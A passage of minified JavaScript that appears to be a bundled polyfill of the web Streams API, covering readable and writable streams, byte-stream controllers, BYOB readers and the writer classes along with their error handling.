closed(){return Ze(this)?this._closedPromise:w(er("closed"))}cancel(c=void 0){return Ze(this)?this._ownerReadableStream===void 0?w(Fe("cancel")):Je(this,c):w(er("cancel"))}read(){if(!Ze(this))return w(er("read"));if(this._ownerReadableStream===void 0)return w(Fe("read from"));let c,p,S=b(($,B)=>{c=$,p=B});return Bt(this,{_chunkSteps:$=>c({value:$,done:!1}),_closeSteps:()=>c({value:void 0,done:!0}),_errorSteps:$=>p($)}),S}releaseLock(){if(!Ze(this))throw er("releaseLock");if(this._ownerReadableStream!==void 0){if(this._readRequests.length>0)throw new TypeError("Tried to release a reader lock when that reader has pending read() calls un-settled");je(this)}}}Object.defineProperties(Zt.prototype,{cancel:{enumerable:!0},read:{enumerable:!0},releaseLock:{enumerable:!0},closed:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Zt.prototype,e.toStringTag,{value:"ReadableStreamDefaultReader",configurable:!0});function Ze(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_readRequests")?!1:o instanceof Zt}function Bt(o,c){let p=o._ownerReadableStream;p._disturbed=!0,p._state==="closed"?c._closeSteps():p._state==="errored"?c._errorSteps(p._storedError):p._readableStreamController[Ot](c)}function er(o){return new TypeError(`ReadableStreamDefaultReader.prototype.${o} can only be used on a ReadableStreamDefaultReader`)}let Ut=Object.getPrototypeOf(Object.getPrototypeOf(async function*(){}).prototype);class D{constructor(c,p){this._ongoingPromise=void 0,this._isFinished=!1,this._reader=c,this._preventCancel=p}next(){let c=()=>this._nextSteps();return this._ongoingPromise=this._ongoingPromise?H(this._ongoingPromise,c,c):c(),this._ongoingPromise}return(c){let p=()=>this._returnSteps(c);return this._ongoingPromise?H(this._ongoingPromise,p,p):p()}_nextSteps(){if(this._isFinished)return Promise.resolve({value:void 0,done:!0});let c=this._reader;if(c._ownerReadableStream===void 0)return w(Fe("iterate"));let p,S,k=b((B,J)=>{p=B,S=J});return Bt(c,{_chunkSteps:B=>{this._ongoingPromise=void 0,z(()=>p({value:B,done:!1}))},_closeSteps:()=>{this._ongoingPromise=void 0,this._isFinished=!0,je(c),p({value:void 0,done:!0})},_errorSteps:B=>{this._ongoingPromise=void 0,this._isFinished=!0,je(c),S(B)}}),k}_returnSteps(c){if(this._isFinished)return Promise.resolve({value:c,done:!0});this._isFinished=!0;let p=this._reader;if(p._ownerReadableStream===void 0)return w(Fe("finish iterating"));if(!this._preventCancel){let S=Je(p,c);return je(p),H(S,()=>({value:c,done:!0}))}return je(p),C({value:c,done:!0})}}let j={next(){return Q(this)?this._asyncIteratorImpl.next():w(f("next"))},return(o){return Q(this)?this._asyncIteratorImpl.return(o):w(f("return"))}};Ut!==void 0&&Object.setPrototypeOf(j,Ut);function K(o,c){let p=ke(o),S=new D(p,c),k=Object.create(j);return k._asyncIteratorImpl=S,k}function Q(o){if(!s(o)||!Object.prototype.hasOwnProperty.call(o,"_asyncIteratorImpl"))return!1;try{return o._asyncIteratorImpl instanceof D}catch{return!1}}function f(o){return new TypeError(`ReadableStreamAsyncIterator.${o} can only be used on a ReadableSteamAsyncIterator`)}let d=Number.isNaN||function(o){return o!==o};function R(o){return o.slice()}function P(o,c,p,S,k){new Uint8Array(o).set(new Uint8Array(p,S,k),c)}function y(o){return o}function m(o){return!1}function x(o,c,p){if(o.slice)return o.slice(c,p);let S=p-c,k=new ArrayBuffer(S);return P(k,0,o,c,S),k}function I(o){return!(typeof o!="number"||d(o)||o<0)}function Y(o){let c=x(o.buffer,o.byteOffset,o.byteOffset+o.byteLength);return new Uint8Array(c)}function be(o){let c=o._queue.shift();return o._queueTotalSize-=c.size,o._queueTotalSize<0&&(o._queueTotalSize=0),c.value}function we(o,c,p){if(!I(p)||p===1/0)throw new RangeError("Size must be a finite, non-NaN, non-negative number.");o._queue.push({value:c,size:p}),o._queueTotalSize+=p}function Kt(o){return o._queue.peek().value}function Ye(o){o._queue=new _e,o._queueTotalSize=0}class vt{constructor(){throw new TypeError("Illegal constructor")}get view(){if(!en(this))throw Oc("view");return this._view}respond(c){if(!en(this))throw Oc("respond");if(dt(c,1,"respond"),c=At(c,"First parameter"),this._associatedReadableByteStreamController===void 0)throw new TypeError("This BYOB request has been invalidated");m(this._view.buffer),Is(this._associatedReadableByteStreamController,c)}respondWithNewView(c){if(!en(this))throw Oc("respondWithNewView");if(dt(c,1,"respondWithNewView"),!ArrayBuffer.isView(c))throw new TypeError("You can only respond with array buffer views");if(this._associatedReadableByteStreamController===void 0)throw new TypeError("This BYOB request has been invalidated");m(c.buffer),Ls(this._associatedReadableByteStreamController,c)}}Object.defineProperties(vt.prototype,{respond:{enumerable:!0},respondWithNewView:{enumerable:!0},view:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(vt.prototype,e.toStringTag,{value:"ReadableStreamBYOBRequest",configurable:!0});class le{constructor(){throw new TypeError("Illegal constructor")}get byobRequest(){if(!Ft(this))throw yo("byobRequest");return qc(this)}get desiredSize(){if(!Ft(this))throw yo("desiredSize");return yd(this)}close(){if(!Ft(this))throw yo("close");if(this._closeRequested)throw new TypeError("The stream has already been closed; do not close it again!");let c=this._controlledReadableByteStream._state;if(c!=="readable")throw new TypeError(`The stream (in ${c} state) is not in the readable state and cannot be closed`);vo(this)}enqueue(c){if(!Ft(this))throw yo("enqueue");if(dt(c,1,"enqueue"),!ArrayBuffer.isView(c))throw new TypeError("chunk must be an array buffer view");if(c.byteLength===0)throw new TypeError("chunk must have non-zero byteLength");if(c.buffer.byteLength===0)throw new TypeError("chunk's buffer must have non-zero byteLength");if(this._closeRequested)throw new TypeError("stream is closed or draining");let p=this._controlledReadableByteStream._state;if(p!=="readable")throw new TypeError(`The stream (in ${p} state) is not in the readable state and cannot be enqueued to`);Fs(this,c)}error(c=void 0){if(!Ft(this))throw yo("error");Lr(this,c)}[Pt](c){h(this),Ye(this);let p=this._cancelAlgorithm(c);return As(this),p}[Ot](c){let p=this._controlledReadableByteStream;if(this._queueTotalSize>0){let k=this._queue.shift();this._queueTotalSize-=k.byteLength,wr(this);let $=new Uint8Array(k.buffer,k.byteOffset,k.byteLength);c._chunkSteps($);return}let S=this._autoAllocateChunkSize;if(S!==void 0){let k;try{k=new ArrayBuffer(S)}catch(B){c._errorSteps(B);return}let $={buffer:k,bufferByteLength:S,byteOffset:0,byteLength:S,bytesFilled:0,elementSize:1,viewConstructor:Uint8Array,readerType:"default"};this._pendingPullIntos.push($)}Dt(p,c),br(this)}}Object.defineProperties(le.prototype,{close:{enumerable:!0},enqueue:{enumerable:!0},error:{enumerable:!0},byobRequest:{enumerable:!0},desiredSize:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(le.prototype,e.toStringTag,{value:"ReadableByteStreamController",configurable:!0});function Ft(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_controlledReadableByteStream")?!1:o instanceof le}function en(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_associatedReadableByteStreamController")?!1:o instanceof vt}function br(o){if(!vC(o))return;if(o._pulling){o._pullAgain=!0;return}o._pulling=!0;let p=o._pullAlgorithm();q(p,()=>{o._pulling=!1,o._pullAgain&&(o._pullAgain=!1,br(o))},S=>{Lr(o,S)})}function h(o){kc(o),o._pendingPullIntos=new _e}function L(o,c){let p=!1;o._state==="closed"&&(p=!0);let S=pe(c);c.readerType==="default"?Ir(o,S,p):wC(o,S,p)}function pe(o){let c=o.bytesFilled,p=o.elementSize;return new o.viewConstructor(o.buffer,o.byteOffset,c/p)}function ie(o,c,p,S){o._queue.push({buffer:c,byteOffset:p,byteLength:S}),o._queueTotalSize+=S}function Se(o,c){let p=c.elementSize,S=c.bytesFilled-c.bytesFilled%p,k=Math.min(o._queueTotalSize,c.byteLength-c.bytesFilled),$=c.bytesFilled+k,B=$-$%p,J=k,ge=!1;B>S&&(J=B-c.bytesFilled,ge=!0);let Re=o._queue;for(;J>0;){let Te=Re.peek(),Pe=Math.min(J,Te.byteLength),it=c.byteOffset+c.bytesFilled;P(c.buffer,it,Te.buffer,Te.byteOffset,Pe),Te.byteLength===Pe?Re.shift():(Te.byteOffset+=Pe,Te.byteLength-=Pe),o._queueTotalSize-=Pe,hn(o,Pe,c),J-=Pe}return ge}function hn(o,c,p){p.bytesFilled+=c}function wr(o){o._queueTotalSize===0&&o._closeRequested?(As(o),Po(o._controlledReadableByteStream)):br(o)}function kc(o){o._byobRequest!==null&&(o._byobRequest._associatedReadableByteStreamController=void 0,o._byobRequest._view=null,o._byobRequest=null)}function md(o){for(;o._pendingPullIntos.length>0;){if(o._queueTotalSize===0)return;let c=o._pendingPullIntos.peek();Se(o,c)&&(Os(o),L(o._controlledReadableByteStream,c))}}function pC(o,c,p){let S=o._controlledReadableByteStream,k=1;c.constructor!==DataView&&(k=c.constructor.BYTES_PER_ELEMENT);let $=c.constructor,B=y(c.buffer),J={buffer:B,bufferByteLength:B.byteLength,byteOffset:c.byteOffset,byteLength:c.byteLength,bytesFilled:0,elementSize:k,viewConstructor:$,readerType:"byob"};if(o._pendingPullIntos.length>0){o._pendingPullIntos.push(J),Cd(S,p);return}if(S._state==="closed"){let ge=new $(J.buffer,J.byteOffset,0);p._closeSteps(ge);return}if(o._queueTotalSize>0){if(Se(o,J)){let ge=pe(J);wr(o),p._chunkSteps(ge);return}if(o._closeRequested){let ge=new TypeError("Insufficient bytes to fill elements in the given buffer");Lr(o,ge),p._errorSteps(ge);return}}o._pendingPullIntos.push(J),Cd(S,p),br(o)}function gC(o,c){let p=o._controlledReadableByteStream;if(Ac(p))for(;Rd(p)>0;){let S=Os(o);L(p,S)}}function mC(o,c,p){if(hn(o,c,p),p.bytesFilled<p.elementSize)return;Os(o);let S=p.bytesFilled%p.elementSize;if(S>0){let k=p.byteOffset+p.bytesFilled,$=x(p.buffer,k-S,k);ie(o,$,0,$.byteLength)}p.bytesFilled-=S,L(o._controlledReadableByteStream,p),md(o)}function vd(o,c){let p=o._pendingPullIntos.peek();kc(o),o._controlledReadableByteStream._state==="closed"?gC(o):mC(o,c,p),br(o)}function Os(o){return o._pendingPullIntos.shift()}function vC(o){let c=o._controlledReadableByteStream;return c._state!=="readable"||o._closeRequested||!o._started?!1:!!(zt(c)&&yr(c)>0||Ac(c)&&Rd(c)>0||yd(o)>0)}function As(o){o._pullAlgorithm=void 0,o._cancelAlgorithm=void 0}function vo(o){let c=o._controlledReadableByteStream;if(!(o._closeRequested||c._state!=="readable")){if(o._queueTotalSize>0){o._closeRequested=!0;return}if(o._pendingPullIntos.length>0&&o._pendingPullIntos.peek().bytesFilled>0){let S=new TypeError("Insufficient bytes to fill elements in the given buffer");throw Lr(o,S),S}As(o),Po(c)}}function Fs(o,c){let p=o._controlledReadableByteStream;if(o._closeRequested||p._state!=="readable")return;let S=c.buffer,k=c.byteOffset,$=c.byteLength,B=y(S);if(o._pendingPullIntos.length>0){let J=o._pendingPullIntos.peek();m(J.buffer),J.buffer=y(J.buffer)}if(kc(o),zt(p))if(yr(p)===0)ie(o,B,k,$);else{o._pendingPullIntos.length>0&&Os(o);let J=new Uint8Array(B,k,$);Ir(p,J,!1)}else Ac(p)?(ie(o,B,k,$),md(o)):ie(o,B,k,$);br(o)}function Lr(o,c){let p=o._controlledReadableByteStream;p._state==="readable"&&(h(o),Ye(o),As(o),Kd(p,c))}function qc(o){if(o._byobRequest===null&&o._pendingPullIntos.length>0){let c=o._pendingPullIntos.peek(),p=new Uint8Array(c.buffer,c.byteOffset+c.bytesFilled,c.byteLength-c.bytesFilled),S=Object.create(vt.prototype);bC(S,o,p),o._byobRequest=S}return o._byobRequest}function yd(o){let c=o._controlledReadableByteStream._state;return c==="errored"?null:c==="closed"?0:o._strategyHWM-o._queueTotalSize}function Is(o,c){let p=o._pendingPullIntos.peek();if(o._controlledReadableByteStream._state==="closed"){if(c!==0)throw new TypeError("bytesWritten must be 0 when calling respond() on a closed stream")}else{if(c===0)throw new TypeError("bytesWritten must be greater than 0 when calling respond() on a readable stream");if(p.bytesFilled+c>p.byteLength)throw new RangeError("bytesWritten out of range")}p.buffer=y(p.buffer),vd(o,c)}function Ls(o,c){let p=o._pendingPullIntos.peek();if(o._controlledReadableByteStream._state==="closed"){if(c.byteLength!==0)throw new TypeError("The view's length must be 0 when calling respondWithNewView() on a closed stream")}else if(c.byteLength===0)throw new TypeError("The view's length must be greater than 0 when calling respondWithNewView() on a readable stream");if(p.byteOffset+p.bytesFilled!==c.byteOffset)throw new RangeError("The region specified by view does not match byobRequest");if(p.bufferByteLength!==c.buffer.byteLength)throw new RangeError("The buffer of view has different capacity than byobRequest");if(p.bytesFilled+c.byteLength>p.byteLength)throw new RangeError("The region specified by view is larger than byobRequest");let k=c.byteLength;p.buffer=y(c.buffer),vd(o,k)}function bd(o,c,p,S,k,$,B){c._controlledReadableByteStream=o,c._pullAgain=!1,c._pulling=!1,c._byobRequest=null,c._queue=c._queueTotalSize=void 0,Ye(c),c._closeRequested=!1,c._started=!1,c._strategyHWM=$,c._pullAlgorithm=S,c._cancelAlgorithm=k,c._autoAllocateChunkSize=B,c._pendingPullIntos=new _e,o._readableStreamController=c;let J=p();q(C(J),()=>{c._started=!0,br(c)},ge=>{Lr(c,ge)})}function yC(o,c,p){let S=Object.create(le.prototype),k=()=>{},$=()=>C(void 0),B=()=>C(void 0);c.start!==void 0&&(k=()=>c.start(S)),c.pull!==void 0&&($=()=>c.pull(S)),c.cancel!==void 0&&(B=ge=>c.cancel(ge));let J=c.autoAllocateChunkSize;if(J===0)throw new TypeError("autoAllocateChunkSize must be greater than 0");bd(o,S,k,$,B,p,J)}function bC(o,c,p){o._associatedReadableByteStreamController=c,o._view=p}function Oc(o){return new TypeError(`ReadableStreamBYOBRequest.prototype.${o} can only be used on a ReadableStreamBYOBRequest`)}function yo(o){return new TypeError(`ReadableByteStreamController.prototype.${o} can only be used on a ReadableByteStreamController`)}function wd(o){return new bo(o)}function Cd(o,c){o._reader._readIntoRequests.push(c)}function wC(o,c,p){let k=o._reader._readIntoRequests.shift();p?k._closeSteps(c):k._chunkSteps(c)}function Rd(o){return o._reader._readIntoRequests.length}function Ac(o){let c=o._reader;return!(c===void 0||!Kn(c))}class bo{constructor(c){if(dt(c,1,"ReadableStreamBYOBReader"),vr(c,"First parameter"),On(c))throw new TypeError("This stream has already been locked for exclusive reading by another reader");if(!Ft(c._readableStreamController))throw new TypeError("Cannot construct a ReadableStreamBYOBReader for a stream not constructed with a byte source");Ae(this,c),this._readIntoRequests=new _e}get closed(){return Kn(this)?this._closedPromise:w(Ns("closed"))}cancel(c=void 0){return Kn(this)?this._ownerReadableStream===void 0?w(Fe("cancel")):Je(this,c):w(Ns("cancel"))}read(c){if(!Kn(this))return w(Ns("read"));if(!ArrayBuffer.isView(c))return w(new TypeError("view must be an array buffer view"));if(c.byteLength===0)return w(new TypeError("view must have non-zero byteLength"));if(c.buffer.byteLength===0)return w(new TypeError("view's buffer must have non-zero byteLength"));if(m(c.buffer),this._ownerReadableStream===void 0)return w(Fe("read from"));let p,S,k=b((B,J)=>{p=B,S=J});return _d(this,c,{_chunkSteps:B=>p({value:B,done:!1}),_closeSteps:B=>p({value:B,done:!0}),_errorSteps:B=>S(B)}),k}releaseLock(){if(!Kn(this))throw Ns("releaseLock");if(this._ownerReadableStream!==void 0){if(this._readIntoRequests.length>0)throw new TypeError("Tried to release a reader lock when that reader has pending read() calls un-settled");je(this)}}}Object.defineProperties(bo.prototype,{cancel:{enumerable:!0},read:{enumerable:!0},releaseLock:{enumerable:!0},closed:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(bo.prototype,e.toStringTag,{value:"ReadableStreamBYOBReader",configurable:!0});function Kn(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_readIntoRequests")?!1:o instanceof bo}function _d(o,c,p){let S=o._ownerReadableStream;S._disturbed=!0,S._state==="errored"?p._errorSteps(S._storedError):pC(S._readableStreamController,c,p)}function Ns(o){return new TypeError(`ReadableStreamBYOBReader.prototype.${o} can only be used on a ReadableStreamBYOBReader`)}function wo(o,c){let{highWaterMark:p}=o;if(p===void 0)return c;if(d(p)||p<0)throw new RangeError("Invalid highWaterMark");return p}function Ms(o){let{size:c}=o;return c||(()=>1)}function js(o,c){nt(o,c);let p=o==null?void 0:o.highWaterMark,S=o==null?void 0:o.size;return{highWaterMark:p===void 0?void 0:Ar(p),size:S===void 0?void 0:CC(S,`${c} has member 'size' that`)}}function CC(o,c){return lt(o,c),p=>Ar(o(p))}function RC(o,c){nt(o,c);let p=o==null?void 0:o.abort,S=o==null?void 0:o.close,k=o==null?void 0:o.start,$=o==null?void 0:o.type,B=o==null?void 0:o.write;return{abort:p===void 0?void 0:_C(p,o,`${c} has member 'abort' that`),close:S===void 0?void 0:SC(S,o,`${c} has member 'close' that`),start:k===void 0?void 0:TC(k,o,`${c} has member 'start' that`),write:B===void 0?void 0:PC(B,o,`${c} has member 'write' that`),type:$}}function _C(o,c,p){return lt(o,p),S=>G(o,c,[S])}function SC(o,c,p){return lt(o,p),()=>G(o,c,[])}function TC(o,c,p){return lt(o,p),S=>M(o,c,[S])}function PC(o,c,p){return lt(o,p),(S,k)=>G(o,c,[S,k])}function Sd(o,c){if(!Si(o))throw new TypeError(`${c} is not a WritableStream.`)}function DC(o){if(typeof o!="object"||o===null)return!1;try{return typeof o.aborted=="boolean"}catch{return!1}}let EC=typeof AbortController=="function";function xC(){if(EC)return new AbortController}class Co{constructor(c={},p={}){c===void 0?c=null:cr(c,"First parameter");let S=js(p,"Second parameter"),k=RC(c,"First parameter");if(Pd(this),k.type!==void 0)throw new RangeError("Invalid type is specified");let B=Ms(S),J=wo(S,1);zC(this,k,J,B)}get locked(){if(!Si(this))throw Bs("locked");return Ti(this)}abort(c=void 0){return Si(this)?Ti(this)?w(new TypeError("Cannot abort a stream that already has a writer")):$s(this,c):w(Bs("abort"))}close(){return Si(this)?Ti(this)?w(new TypeError("Cannot close a stream that already has a writer")):tn(this)?w(new TypeError("Cannot close an already-closing stream")):Dd(this):w(Bs("close"))}getWriter(){if(!Si(this))throw Bs("getWriter");return Td(this)}}Object.defineProperties(Co.prototype,{abort:{enumerable:!0},close:{enumerable:!0},getWriter:{enumerable:!0},locked:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Co.prototype,e.toStringTag,{value:"WritableStream",configurable:!0});function Td(o){return new Ro(o)}function kC(o,c,p,S,k=1,$=()=>1){let B=Object.create(Co.prototype);Pd(B);let J=Object.create(Pi.prototype);return Ad(B,J,o,c,p,S,k,$),B}function Pd(o){o._state="writable",o._storedError=void 0,o._writer=void 0,o._writableStreamController=void 0,o._writeRequests=new _e,o._inFlightWriteRequest=void 0,o._closeRequest=void 0,o._inFlightCloseRequest=void 0,o._pendingAbortRequest=void 0,o._backpressure=!1}function Si(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_writableStreamController")?!1:o instanceof Co}function Ti(o){return o._writer!==void 0}function $s(o,c){var p;if(o._state==="closed"||o._state==="errored")return C(void 0);o._writableStreamController._abortReason=c,(p=o._writableStreamController._abortController)===null||p===void 0||p.abort();let S=o._state;if(S==="closed"||S==="errored")return C(void 0);if(o._pendingAbortRequest!==void 0)return o._pendingAbortRequest._promise;let k=!1;S==="erroring"&&(k=!0,c=void 0);let $=b((B,J)=>{o._pendingAbortRequest={_promise:void 0,_resolve:B,_reject:J,_reason:c,_wasAlreadyErroring:k}});return o._pendingAbortRequest._promise=$,k||Ic(o,c),$}function Dd(o){let c=o._state;if(c==="closed"||c==="errored")return w(new TypeError(`The stream (in ${c} state) is not in the writable state and cannot be closed`));let p=b((k,$)=>{let B={_resolve:k,_reject:$};o._closeRequest=B}),S=o._writer;return S!==void 0&&o._backpressure&&c==="writable"&&Bc(S),BC(o._writableStreamController),p}function qC(o){return b((p,S)=>{let k={_resolve:p,_reject:S};o._writeRequests.push(k)})}function Fc(o,c){if(o._state==="writable"){Ic(o,c);return}Lc(o)}function Ic(o,c){let p=o._writableStreamController;o._state="erroring",o._storedError=c;let S=o._writer;S!==void 0&&xd(S,c),!LC(o)&&p._started&&Lc(o)}function Lc(o){o._state="errored",o._writableStreamController[ut]();let c=o._storedError;if(o._writeRequests.forEach(k=>{k._reject(c)}),o._writeRequests=new _e,o._pendingAbortRequest===void 0){Ws(o);return}let p=o._pendingAbortRequest;if(o._pendingAbortRequest=void 0,p._wasAlreadyErroring){p._reject(c),Ws(o);return}let S=o._writableStreamController[mt](p._reason);q(S,()=>{p._resolve(),Ws(o)},k=>{p._reject(k),Ws(o)})}function OC(o){o._inFlightWriteRequest._resolve(void 0),o._inFlightWriteRequest=void 0}function AC(o,c){o._inFlightWriteRequest._reject(c),o._inFlightWriteRequest=void 0,Fc(o,c)}function FC(o){o._inFlightCloseRequest._resolve(void 0),o._inFlightCloseRequest=void 0,o._state==="erroring"&&(o._storedError=void 0,o._pendingAbortRequest!==void 0&&(o._pendingAbortRequest._resolve(),o._pendingAbortRequest=void 0)),o._state="closed";let p=o._writer;p!==void 0&&Nd(p)}function IC(o,c){o._inFlightCloseRequest._reject(c),o._inFlightCloseRequest=void 0,o._pendingAbortRequest!==void 0&&(o._pendingAbortRequest._reject(c),o._pendingAbortRequest=void 0),Fc(o,c)}function tn(o){return!(o._closeRequest===void 0&&o._inFlightCloseRequest===void 0)}function LC(o){return!(o._inFlightWriteRequest===void 0&&o._inFlightCloseRequest===void 0)}function NC(o){o._inFlightCloseRequest=o._closeRequest,o._closeRequest=void 0}function MC(o){o._inFlightWriteRequest=o._writeRequests.shift()}function Ws(o){o._closeRequest!==void 0&&(o._closeRequest._reject(o._storedError),o._closeRequest=void 0);let c=o._writer;c!==void 0&&Hc(c,o._storedError)}function Nc(o,c){let p=o._writer;p!==void 0&&c!==o._backpressure&&(c?QC(p):Bc(p)),o._backpressure=c}class Ro{constructor(c){if(dt(c,1,"WritableStreamDefaultWriter"),Sd(c,"First parameter"),Ti(c))throw new TypeError("This stream has already been locked for exclusive writing by another writer");this._ownerWritableStream=c,c._writer=this;let p=c._state;if(p==="writable")!tn(c)&&c._backpressure?Ks(this):Md(this),Us(this);else if(p==="erroring")zc(this,c._storedError),Us(this);else if(p==="closed")Md(this),YC(this);else{let S=c._storedError;zc(this,S),Ld(this,S)}}get closed(){return Gn(this)?this._closedPromise:w(Vn("closed"))}get desiredSize(){if(!Gn(this))throw Vn("desiredSize");if(this._ownerWritableStream===void 0)throw _o("desiredSize");return HC(this)}get ready(){return Gn(this)?this._readyPromise:w(Vn("ready"))}abort(c=void 0){return Gn(this)?this._ownerWritableStream===void 0?w(_o("abort")):jC(this,c):w(Vn("abort"))}close(){if(!Gn(this))return w(Vn("close"));let c=this._ownerWritableStream;return c===void 0?w(_o("close")):tn(c)?w(new TypeError("Cannot close an already-closing stream")):Ed(this)}releaseLock(){if(!Gn(this))throw Vn("releaseLock");this._ownerWritableStream!==void 0&&kd(this)}write(c=void 0){return Gn(this)?this._ownerWritableStream===void 0?w(_o("write to")):qd(this,c):w(Vn("write"))}}Object.defineProperties(Ro.prototype,{abort:{enumerable:!0},close:{enumerable:!0},releaseLock:{enumerable:!0},write:{enumerable:!0},closed:{enumerable:!0},desiredSize:{enumerable:!0},ready:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Ro.prototype,e.toStringTag,{value:"WritableStreamDefaultWriter",configurable:!0});function Gn(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_ownerWritableStream")?!1:o instanceof Ro}function jC(o,c){let p=o._ownerWritableStream;return $s(p,c)}function Ed(o){let c=o._ownerWritableStream;return Dd(c)}function $C(o){let c=o._ownerWritableStream,p=c._state;return tn(c)||p==="closed"?C(void 0):p==="errored"?w(c._storedError):Ed(o)}function WC(o,c){o._closedPromiseState==="pending"?Hc(o,c):XC(o,c)}function xd(o,c){o._readyPromiseState==="pending"?jd(o,c):JC(o,c)}function HC(o){let c=o._ownerWritableStream,p=c._state;return p==="errored"||p==="erroring"?null:p==="closed"?0:Fd(c._writableStreamController)}function kd(o){let c=o._ownerWritableStream,p=new TypeError("Writer was released and can no longer be used to monitor the stream's closedness");xd(o,p),WC(o,p),c._writer=void 0,o._ownerWritableStream=void 0}function qd(o,c){let p=o._ownerWritableStream,S=p._writableStreamController,k=UC(S,c);if(p!==o._ownerWritableStream)return w(_o("write to"));let $=p._state;if($==="errored")return w(p._storedError);if(tn(p)||$==="closed")return w(new TypeError("The stream is closing or closed and cannot be written to"));if($==="erroring")return w(p._storedError);let B=qC(p);return KC(S,c,k),B}let Od={};class Pi{constructor(){throw new TypeError("Illegal constructor")}get abortReason(){if(!Mc(this))throw Wc("abortReason");return this._abortReason}get signal(){if(!Mc(this))throw Wc("signal");if(this._abortController===void 0)throw new TypeError("WritableStreamDefaultController.prototype.signal is not supported");return this._abortController.signal}error(c=void 0){if(!Mc(this))throw Wc("error");this._controlledWritableStream._state==="writable"&&Id(this,c)}[mt](c){let p=this._abortAlgorithm(c);return Hs(this),p}[ut](){Ye(this)}}Object.defineProperties(Pi.prototype,{abortReason:{enumerable:!0},signal:{enumerable:!0},error:{enumerable:!0}}),typeof e.toStringTag=="symbol"&&Object.defineProperty(Pi.prototype,e.toStringTag,{value:"WritableStreamDefaultController",configurable:!0});function Mc(o){return!s(o)||!Object.prototype.hasOwnProperty.call(o,"_controlledWritableStream")?!1:o instanceof Pi}function Ad(o,c,p,S,k,$,B,J){c._controlledWritableStream=o,o._writableStreamController=c,c._queue=void 0,c._queueTotalSize=void 0,Ye(c),c._abortReason=void 0,c._abortController=xC(),c._started=!1,c._strategySizeAlgorithm=J,c._strategyHWM=B,c._writeAlgorithm=S,c._closeAlgorithm=k,c._abortAlgorithm=$;let ge=$c(c);Nc(o,ge);let Re=p(),Te=C(Re);q(Te,()=>{c._started=!0,zs(c)},Pe=>{c._started=!0,Fc(o,Pe)})}function zC(o,c,p,S){let k=Object.create(Pi.prototype),$=()=>{},B=()=>C(void 0),J=()=>C(void 0),ge=()=>C(void 0);c.start!==void 0&&($=()=>c.start(k)),c.write!==void 0&&(B=Re=>c.write(Re,k)),c.close!==void 0&&(J=()=>c.close()),c.abort!==void 0&&(ge=Re=>c.abort(Re)),Ad(o,k,$,B,J,ge,p,S)}function Hs(o){o._writeAlgorithm=void 0,o._closeAlgorithm=void 0,o._abortAlgorithm=void 0,o._strategySizeAlgorithm=void 0}function BC(o){we(o,Od,0),zs(o)}function UC(o,c){try{return o._strategySizeAlgorithm(c)}catch(p){return jc(o,p),1}}function Fd(o){return o._strategyHWM-o._queueTotalSize}function KC(o,c,p){try{we(o,c,p)}catch(k){jc(o,k);return}let S=o._controlledWritableStream;if(!tn(S)&&S._state==="writable"){let k=$c(o);Nc(S,k)}zs(o)}function zs(o){let c=o._controlledWritableStream;if(!o._started||c._inFlightWriteRequest!==void 0)return;if(c._state==="erroring"){Lc(c);return}if(o._queue.length===0)return;let S=Kt(o);S===Od?GC(o):VC(o,S)}function jc(o,c){o._controlledWritableStream._state==="writable"&&Id(o,c)}function GC(o){let c=o._controlledWritableStream;NC(c),be(o);let p=o._closeAlgorithm();Hs(o),q(p,()=>{FC(c)},S=>{IC(c,S)})}function VC(o,c){let p=o._controlledWritableStream;MC(p);let S=o._writeAlgorithm(c);q(S,()=>{OC(p);let k=p._state;if(be(o),!tn(p)&&k==="writable"){let $=$c(o);Nc(p,$)}zs(o)},k=>{p._state==="writable"&&Hs(o),AC(p,k)})}function $c(o){return Fd(o)<=0}function Id(o,c){let p=o._controlledWritableStream;Hs(o),Ic(p,c)}function Bs(o){return new TypeError(`WritableStream.prototype.${o} can only be used on a WritableStream`)}function Wc(o){return new TypeError(`WritableStreamDefaultController.prototype.${o} can only be used on a WritableStreamDefaultController`)}function Vn(o){return new TypeError(`WritableStreamDefaultWriter.prototype.${o} can only be used on a WritableStreamDefaultWriter`)}function _o(o){return new TypeError("Cannot "+o+" a stream using a released writer")}function Us(o){o._closedPromise=b((c,p)=>{o._closedPromise_resolve=c,o._closedPromise_reject=p,o._closedPromiseState="pending"})}function Ld(o,c){Us(o),Hc(o,c)}function YC(o){Us(o),Nd(o)}function Hc(o,c){o._closedPromise_reject!==void 0&&(O(o._closedPromise),o._closedPromise_reject(c),o._closedPromise_resolve=void 0,o._closedPromise_reject=void 0,o._closedPromiseState="rejected")}function XC(o,c){Ld(o,c)}function Nd(o){o._closedPromise_resolve!==void 0&&(o._closedPromise_resolve(void 0),o._closedPromise_resolve=void 0,o._closedPromise_reject=void 0,o._closedPromiseState="resolved")}function Ks(o){o._readyPromise=b((c,p)=>{o._readyPromise_resolve=c,o._readyPromise_reject=p}),o._readyPromiseState="pending"}function zc(o,c){Ks(o),jd(o,c)}function Md(o){Ks(o),Bc(o)}function jd(o,c){o._readyPromise_reject!==void 0&&(O(o._readyPromise),o._readyPromise_reject(c),o._readyPromise_resolve=void 0,o._readyPromise_reject=void 0,o._readyPromiseState="rejected")}function QC(o){Ks(o)}function JC(o,c){zc(o,c)}function Bc(o){o._readyPromise_resolve!==void 0&&(o._readyPromise_resolve(void 0),o._readyPromise_resolve=void 0,o._readyPromise_reject=void 0,o._readyPromiseState="fulfilled")}let $d=typeof DOMException!="undefined"?DOMException:void 0;function ZC(o){if(!(typeof o=="function"||typeof o=="object"))return!1;try{return new o,!0}catch{return!1}}function eR(){let o=function(p,S){this.message=p||"",this.name=S||"Error",Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor)};return o.prototype=Object.create(Error.prototype),Object.defineProperty(o.prototype,"constructor",{value:o,writable:!0,configurable:!0}),o}let tR=ZC($d)?$d:eR();function Wd(o,c,p,S,k,$){let B=ke(o),J=Td(c);o._disturbed=!0;let 